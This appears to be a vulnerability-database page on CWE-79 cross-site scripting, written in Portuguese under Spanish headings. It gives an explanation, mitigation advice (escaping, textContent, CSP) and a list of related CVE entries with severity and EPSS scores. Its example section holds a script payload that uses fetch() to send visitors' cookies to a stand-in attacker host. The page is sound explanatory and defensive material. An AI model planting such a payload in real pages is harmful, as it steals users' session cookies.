Fallos del tipo CWE-79

29.566 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-1031LOWCodeAstro Expense Management System Add Expenses Page 5-Add-Expenses.php cross site scriptingEPSS 0.4%CVE-2026-11614MEDIUMXpro Addons <= 1.7.2 - Authenticated (Author+) Stored Cross-Site Scripting via 'custom_attributes' Parameter of Multiple WidgetsEPSS 0.4%CVE-2026-4078MEDIUMITERAS <= 1.8.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.4%CVE-2026-91159HIGHDiscourse: Stored oEmbed HTML injection via allowed iframeEPSS 0.4%CVE-2024-29278MEDIUMfunboot v1.1 is vulnerable to Cross Site Scripting (XSS) via the title field in "create a message ."EPSS 0.4%CVE-2026-73650HIGHSVGO: removeScripts plugin leaves some executable scripts intactEPSS 0.4%CVE-2023-5745MEDIUMReusable Text Blocks <= 1.5.3 - Authenticated (Author+) Stored Cross-Site Scripting via ShortcodeEPSS 0.4%CVE-2024-8144MEDIUMClassCMS Logo admin cross site scriptingEPSS 0.4%CVE-2026-4076MEDIUMSlider Bootstrap Carousel <= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.4%CVE-2024-11445MEDIUMImage Magnify <= 1.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-22496MEDIUMCross Site Scripting (XSS) vulnerability in JFinalcms 5.0.0 allows attackers to run arbitrary code via the /admin/login username parameter.EPSS 0.4%CVE-2025-2049MEDIUMcode-projects Blood Bank System AB+.php cross site scriptingEPSS 0.4%CVE-2026-4801MEDIUMPage Builder Gutenberg Blocks <= 3.1.16 - Authenticated (Contributor+) Stored Cross-Site Scripting via External iCal Feed DataEPSS 0.4%CVE-2022-45084HIGHWordPress Loginizer Plugin <= 1.7.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2026-15333MEDIUMCozy Blocks <= 2.2.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'cozyCustomFont' Block AttributeEPSS 0.4%CVE-2025-24320MEDIUMBIG-IP Configuration utility vulnerabilityEPSS 0.4%CVE-2026-18400MEDIUMSlider, Gallery, and Carousel by MetaSlider <= 3.111.0 - Authenticated (Author+) Stored Cross-Site Scripting via 'delay' Post Meta SettingEPSS 0.4%CVE-2026-8677MEDIUMPrime Elementor Addons <= 1.3.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Widget HTML Tag SettingsEPSS 0.4%CVE-2026-43887HIGHOutline: Stored XSS via Comment MentionsEPSS 0.4%CVE-2026-4084MEDIUMfyyd podcast shortcodes <= 0.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'color' Shortcode AttributeEPSS 0.4%